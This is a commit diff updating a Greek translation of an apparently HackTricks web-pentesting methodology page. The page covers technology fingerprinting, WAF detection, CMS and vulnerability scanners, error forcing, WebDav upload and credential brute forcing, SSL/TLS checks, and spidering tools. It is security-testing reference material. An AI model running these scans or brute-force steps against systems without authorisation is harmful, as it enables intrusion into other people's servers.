Translated ['src/pentesting-web/command-injection.md', 'src/network-serv

This commit is contained in:
Translator 2025-08-28 14:22:08 +00:00
parent 41f8281971
commit 751800a42b
5 changed files with 300 additions and 181 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,10 +1,10 @@
# 80,443 - Μεθοδολογία Pentesting Web # 80,443 - Pentesting Web Methodology
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Βασικές Πληροφορίες
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**. Η υπηρεσία web είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS) **Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -24,31 +24,31 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md web-api-pentesting.md
{{#endref}} {{#endref}}
## Περίληψη Μεθοδολογίας ## Περίληψη μεθοδολογίας
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, υποdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής. > Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Άρα, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με μη καθορισμένο web server εντός του scope.
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία. - [ ] Ξεκινήστε με το **να αναγνωρίσετε** τις **technologies** που χρησιμοποιεί ο web server. Ψάξτε για **tricks** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου test αν καταφέρετε να αναγνωρίσετε την tech.
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας; - [ ] Υπάρχει κάποια **known vulnerability** στην έκδοση της technology;
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; - [ ] Χρησιμοποιείται κάποια **well known tech**; Κάποιο **useful trick** για να εξάγετε περισσότερες πληροφορίες;
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που πρέπει να τρέξετε (όπως το wpscan); - [ ] Υπάρχει κάποιος **specialised scanner** για να τρέξετε (όπως wpscan);
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες. - [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε ποτέ αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες.
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **σφάλμα 404** και **σάρωση SSL/TLS** (αν είναι HTTPS). - [ ] Ξεκινήστε με τους **initial checks**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (if HTTPS).
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**. - [ ] Ξεκινήστε **spidering** της σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, ελέγξτε για **special findings**.
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._ - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να spidered._
- [ ] **Brute-Forcing Διευθύνσεων**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **διευθύνσεις**. - [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **files** και **directories**.
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._ - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να Brute-Forced._
- [ ] **Έλεγχος Αντιγράφων**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων. - [ ] **Backups checking**: Ελέγξτε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων files** προσθέτοντας κοινές επεκτάσεις backup.
- [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**. - [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε hidden parameters**.
- [ ] Μόλις έχετε **ταυτοποιήσει** όλες τις πιθανές **τελικές διευθύνσεις** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό. - [ ] Μόλις έχετε **identified** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md) - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Έκδοση Server (Ευάλωτη;) ## Έκδοση Server (Vulnerable?)
### Ταυτοποίηση ### Αναγνώριση
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\ Ελέγξτε αν υπάρχουν **known vulnerabilities** για την **version** του server που τρέχει.\
Οι **HTTP κεφαλίδες και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:** Τα **HTTP headers and cookies της απάντησης** μπορεί να είναι πολύ χρήσιμα για να **identify** τις **technologies** και/ή την **version** που χρησιμοποιούνται. Το **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά μπορεί επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash ```bash
whatweb -a 1 <URL> #Stealthy whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive whatweb -a 3 <URL> #Aggresive
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
``` ```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Έλεγχος αν υπάρχει WAF** ### **Check if any WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tech tricks ### Κόλπα Web τεχνολογιών
Ορισμένα **tricks** για **finding vulnerabilities** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται: Μερικά **κόλπα** για **εύρεση ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md) - [**Apache**](apache.md)
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Golang**](golang.md) - [**Golang**](golang.md)
- [**GraphQL**](graphql.md) - [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md) - [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md) - [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md) - [**JBOSS**](jboss.md)
@ -100,19 +101,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Wordpress**](wordpress.md) - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\ _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **ports**, **folders** και **subdomains**._\
Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform listed before** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!). Εάν η web εφαρμογή χρησιμοποιεί κάποια γνωστή **tech/platform** από αυτές που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
### Source Code Review ### Ανασκόπηση πηγαίου κώδικα
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από το να κάνετε εσείς ένα **White box test** της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για το τρέχον **Black-Box testing**:
- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web; - Υπάρχει ένα **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσιτό;) **αρχείο** με credentials (usernames ή passwords); - Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **file** με credentials (usernames ή passwords);
- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποια **hashing algorithm** χρησιμοποιείται; - Είναι τα **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποια **algorithm** χρησιμοποιείται; - Χρησιμοποιεί κάποιο **master key** για κρυπτογράφηση; Ποιος **algorithm** χρησιμοποιείται;
- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια; - Μπορείτε να **έχετε πρόσβαση σε κάποιο από αυτά τα files** εκμεταλλευόμενοι κάποια ευπάθεια;
- Υπάρχει κάποια **interesting information in the github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**); - Υπάρχουν ενδιαφέρουσες πληροφορίες στο **github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε παλιό commit)?
{{#ref}} {{#ref}}
@ -133,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer) # https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
``` ```
#### CMS scanners #### Σαρωτές CMS
Αν χρησιμοποιείται ένα CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον: Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για ζητήματα ασφάλειας. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, έχετε βρει ακόμη και ένα CMS και έχετε τρέξει κάποιο scanner. > Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα να έχετε κατά νου κατά τη διάρκεια του test. Αν είστε τυχεροί ίσως έχετε ακόμη βρει ένα CMS και έχετε τρέξει κάποιο scanner.
## Βήμα-βήμα Ανακάλυψη Εφαρμογής Ιστού ## Βήμα-βήμα Web Application Discovery
> Από αυτό το σημείο θα αρχίσουμε να αλληλεπιδρούμε με την εφαρμογή ιστού. > Από εδώ και πέρα θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
### Αρχικές ελέγχοι ### Αρχικοί έλεγχοι
**Προεπιλεγμένες σελίδες με ενδιαφέροντα στοιχεία:** **Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:**
- /robots.txt - /robots.txt
- /sitemap.xml - /sitemap.xml
- /crossdomain.xml - /crossdomain.xml
- /clientaccesspolicy.xml - /clientaccesspolicy.xml
- /.well-known/ - /.well-known/
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες. - Ελέγξτε επίσης τα comments στις κύριες και δευτερεύουσες σελίδες.
**Εξαναγκασμός σφαλμάτων** **Προκαλώντας σφάλματα**
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**. Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να αποκαλύψει ευαίσθητες πληροφορίες.
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.) - Πρόσβαση σε **fake pages** όπως /whatever_fake.php (.aspx,.html,.etc)
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα - **Προσθέστε "\[]", "]]", και "\[\["** στα **cookie values** και **parameter** values για να δημιουργήσετε σφάλματα
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL** - Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE - Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** #### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετές άδειες για **ανέβασμα αρχείων** στον ριζικό φάκελο, προσπαθήστε να: Αν διαπιστώσετε ότι **WebDav** είναι **enabled** αλλά δεν έχετε αρκετά permissions για **uploading files** στον root folder δοκιμάστε να:
- **Brute Force** διαπιστευτήρια - Εκτελέσετε **Brute Force** στα credentials
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους. - **Upload files** μέσω WebDav στους υπόλοιπους βρεθέντες folders μέσα στη σελίδα. Μπορεί να έχετε permissions να ανεβάσετε αρχεία σε άλλους φακέλους.
### **SSL/TLS ευπάθειες** ### **SSL/TLS vulnerabilites**
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη σε HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM** - Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κανένα μέρος, τότε είναι **vulnerable to MitM**
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια. - Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP**. Τότε είναι υψηλή ευπάθεια.
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για ελέγχους για **vulnerabilities** (Σε Bug Bounty προγράμματα πιθανόν αυτό το είδος ευπαθειών να μην γίνεται αποδεκτό) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επαληθεύσετε ξανά τις ευπαθειες:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -195,60 +196,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port> sslscan <host:port>
sslyze --regular <ip:port> sslyze --regular <ip:port>
``` ```
Πληροφορίες σχετικά με τις ευπάθειες SSL/TLS: Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering ### Spidering
Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους. Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που ελέγχεται. Επομένως, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή. - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files". - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση. - [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl). - [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει. - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες κανονικές εκφράσεις για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS. - [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε paths και params σε αρχεία JS. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified JS κώδικα. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
